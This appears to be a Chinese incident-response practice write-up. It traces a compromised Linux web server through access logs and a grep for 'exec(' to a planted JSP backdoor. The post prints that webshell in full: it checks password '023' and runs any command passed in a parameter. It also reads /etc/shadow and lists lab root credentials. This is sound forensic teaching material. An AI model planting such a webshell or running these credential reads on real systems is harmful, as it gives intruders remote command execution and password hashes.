相关账户密码:
root/123456
开机开搞
<%import="java.io.*,java.util.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
// ... 执行系统命令并返回结果 ...
%>
cat localhost_access_log.2023-05-08.txt | grep POST | grep up |more
grep -rl "exec("
cat webapps/ROOT/teacher/cmd.jsp
<%-- JSP脚本开始标签 --%>
<%
<%-- 后门密码验证:检查请求参数pwd是否为"023" --%>
if("023".equals(request.getParameter("pwd"))){
<%-- 高危操作:通过参数i接收用户输入,直接执行系统命令 --%>
<%-- 示例:i=whoami 会执行`whoami`命令并返回结果 --%>
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
<%-- 定义变量用于读取命令执行结果 --%>
int a = -1; <%-- 读取字节数标识(-1表示结束)--%>
byte[] b = new byte[2048]; <%-- 缓冲区大小:2KB --%>
<%-- 输出HTML预格式标签,保留命令结果的格式 --%>
out.print("<pre>");
<%-- 循环读取命令执行结果并输出到页面 --%>
while((a=in.read(b))!=-1){
<%-- 将字节流转换为字符串并输出 --%>
out.println(new String(b)); <%-- 可能包含敏感信息(如文件内容、系统信息)--%>
}
<%-- 结束预格式标签 --%>
out.print("</pre>");
}
%>
<%-- JSP脚本结束标签 --%>
cat /etc/shadow
crontab -l
netstat -anp | grep t0
原文始发于微信公众号(信安一把索):应急响应 - Linux3 - 练习篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论